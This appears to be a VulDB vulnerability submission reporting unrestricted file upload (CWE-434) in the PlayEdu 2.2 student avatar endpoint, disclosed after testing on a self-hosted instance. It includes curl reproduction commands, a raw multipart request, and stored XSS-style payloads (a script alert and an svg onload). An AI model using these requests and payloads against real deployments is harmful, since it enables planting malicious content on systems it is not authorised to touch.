| Titolo | playedu PlayEdu 2.2 (release tag 2.2; audited commit `da45a83`, "sync to 2.2"). The vulnerable handlers (`UserController.changeAvatar`, `UploadServiceImpl`, `BackendConstant` whitelists) are first-party code at that Unrestricted upload of file with dange |
|---|
| Descrizione | Unrestricted file upload of arbitrary types via the PlayEdu student avatar endpoint
Vendor: playedu
Affected versions: 2.2 (release tag 2.2; audited commit `da45a83`, "sync to 2.2"). The vulnerable handlers (`UserController.changeAvatar`, `UploadServiceImpl`, `BackendConstant` whitelists) are first-party code at that revision.
Vulnerability class: Unrestricted upload of file with dangerous type (CWE-434) — the student multipart path is the only upload entrance of this backend without the extension whitelist that every other upload path enforces
Preconditions: Any logged-in student account (front-end registration and administrator-created students are both default features); no role or permission requirement beyond the student session (`FrontInterceptor.java:51-53` refuses unauthenticated calls with 401). The platform must have S3/MinIO storage configured — storage is a core dependency of the product; without it the endpoint returns `{"code":1,"msg":"存储服务未配置"}` before any upload (`UserController.java:106-113`). The only size bound is the global multipart cap; there is no per-file type or content check at all.
Any registered student can store files of any type — including `html`, `svg` and `jsp` — on the deployment's object storage through the avatar endpoint, and the stored bytes are distributed through the platform's presigned URL surface.
Data flow: multipart `file` at `PUT /api/v1/user/avatar` (student session) → `UserController.changeAvatar` (`UserController.java:103-146`: S3-config check `:106-113`, zero file checks, direct call `:115` `uploadService.upload(s3Config, file, null)`) → `UploadServiceImpl.upload` (`:47-89`: extension→type whitelist lookup `:61`; unknown extension → `RESOURCE_TYPE_OTHER` and continue `:63-65`; dead-code type-emptiness guard `:66-70`; key = `randomString(32)+ext` `:75`; `OTHER` has no directory mapping → `dir=null` `:77-80`; `contentType=null` `:86`) → `S3Util.saveFile` into the private bucket (`S3Util.java:115-123`).
### Affected interfaces
| Interface |
|---|
| PUT /api/v1/user/avatar — multipart form field `file`; any logged-in student |
Primary route detail:
```
PUT /api/v1/user/avatar HTTP/1.1
Content-Type: multipart/form-data; boundary=----cv4
------cv4
Content-Disposition: form-data; name="file"; filename="x.html"
<html><script>alert("cv4")</script></html>
------cv4--
```
Any logged-in student, no role requirement; the object is later distributed via a presigned GET URL returned by `GET /api/v1/user/detail` (`UserController.java:91-98`, presigning via `ResourceServiceImpl.chunksPreSignUrlByIds:243`).
### Root cause
1. `changeAvatar` (`UserController.java:103-146`) validates only the S3 configuration (`:106-113`) and calls `uploadService.upload(s3Config, file, null)` with the raw multipart file (`:115`) — no extension, MIME, magic-byte or size check anywhere in the method.
2. `UploadServiceImpl.upload` (`:47-89`) maps known extensions through `RESOURCE_EXT_2_TYPE` (a whitelist of 15 office/media extensions, `BackendConstant.java:93-112` — no `svg`, no `html`); for every other extension it assigns `RESOURCE_TYPE_OTHER` and continues the upload (`:63-65`). The "current format not supported" guard at `:68-70` is dead code: `resourceType` was just assigned a non-empty whitelist value or the non-empty constant `OTHER` at `:66`, so the emptiness test is always false.
3. Because `RESOURCE_TYPE_2_DIR` has no mapping for `OTHER` (`BackendConstant.java:113-126`), the object key gets a literal `null` prefix: `null<random32>.<original extension>`; `RESOURCE_EXT_2_CONTENT_TYPE` has no entry for the uploaded types, so `contentType` is null (`:86`).
4. Contrast inside the same backend: the admin chunked-upload initialization enforces the extension whitelist (`UploadController.java:114-117` — `extension=html`/`svg`/`jsp` all refused with `该格式文件不支持上传`) and the base64 path enforces it too (`UploadServiceImpl.java:103-107`). Only the student multipart avatar path skips it.
Baseline: PlayEdu 2.2 (commit `da45a83`) built from the upstream source with dependency-version-only build adaptations (no Java source change), self-hosted on `http://127.0.0.1:18785` with a task-local MySQL; storage is a local MinIO instance (bucket `playedu-cv4`, private ACL) configured through app config, matching the product's documented S3/MinIO integration. The student session token was obtained with a seeded student account through the normal password login.
**1. Negative controls:**
```sh
$ # unauthenticated:
$ curl -s -X PUT 'http://127.0.0.1:18785/api/v1/user/avatar' -F '[email protected];filename=x.html'
{"code":-1,"msg":"请登录"} # HTTP 401
$ # student token, storage unconfigured (before enabling):
{"code":1,"msg":"存储服务未配置"} # UserController.java:106-113
$ # same bytes through the admin whitelisted entrance (admin token):
$ curl -s 'http://127.0.0.1:18785/backend/v1/upload/minio/upload-id?extension=html' -H 'Authorization: <admin>'
{"code":-1,"msg":"该格式文件不支持上传"} # extension=svg and extension=jsp: same refusal
$ curl -s 'http://127.0.0.1:18785/backend/v1/upload/minio/upload-id?extension=png' -H 'Authorization: <admin>'
{"code":0,...,"filename":"images/c9Bti…"} # the admin path works; only the extension policy differs
```
**2. Arbitrary-type upload through the student avatar path (student token):**
```sh
$ curl -s -X PUT 'http://127.0.0.1:18785/api/v1/user/avatar' -H 'Authorization: <student>' \
-F '[email protected];filename=x.html' # content: <html><script>alert("cv4")</script></html>
{"code":0,"msg":"","data":null}
$ # same with x.svg (<svg xmlns=… onload="alert(1)/>) and x.jsp (<%@ page language="java" %>): both {"code":0,…}
$ # control upload ok.png (PNG magic + CONTROL text): {"code":0,…}
```
All four uploads succeeded — no extension, magic or content check of any kind.
**3. Persistence evidence (database + object storage):**
```
resource table (id, type, path):
1 OTHER nullv20pWA9c7lN3J3PAVeMlrKM9sSQv1eH8.html
2 OTHER nullQjLVZX7ftSgXot6ulZ5tH9GEoBkmPS0d.svg
3 OTHER nullJiohEjVLuvQHjjXbbuaIr3kiPu8w8UQV.jsp
4 IMAGE images/LQv603LQoMgX5IX6gyVKQbAWg0IkkEx3.png
```
Per-object read-back against the bucket (signed GET, status 200, content byte-identical):
```
GET /playedu-cv4/nullv20p….html -> 200 body='<html><script>alert("cv4")</script></html>'
GET /playedu-cv4/nullQjLV….svg -> 200 body='<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/>'
GET /playedu-cv4/nullJioh….jsp -> 200 body='<%@ page language="java" %>'
GET /playedu-cv4/images/LQv6….png -> 200 body='\x89PNG\r\n\x1a\nCONTROL'
```
**4. Distribution surface:** `GET /api/v1/user/detail` (student token) returns `resource_url["4"]` as a 3-hour presigned URL; fetching it with no credentials returns 200 `Content-Type: image/png` — stored objects are reachable through the platform's presigned URL surface.
All testing was performed against a self-hosted instance on the reporter's own host with self-hosted storage. No third-party system, production instance or customer data was involved.
- **Vendor contact**: GitHub Private Vulnerability Reporting - playedu/playedu
- **Status**: vendor notification prepared 2026-10-09 for GitHub Private Vulnerability Reporting; private report (email channel - no GitHub advisory) (placeholder, back-filled after submission); not publicly disclosed; no CVE assigned
- **Duplicate check**: public advisories (NVD/OSV/GitHub) and the project issue tracker were searched before reporting; please tell us if this duplicates something already tracked internally. |
|---|
| Fonte | ⚠️ https://github.com/playedu/playedu |
|---|
| Utente | lucasg2g (UID 84737) |
|---|
| Sottomissione | 09/11/2026 08:35 (24 giorni fa) |
|---|
| Moderazione | 03/12/2026 09:52 (24 days later) |
|---|
| Stato | Accettato |
|---|
| Voce VulDB | 448612 [PlayEdu fino a 2.2 Student Avatar Upload UserController.java changeAvatar file escalationi di privilegi] |
|---|
| Punti | 20 |
|---|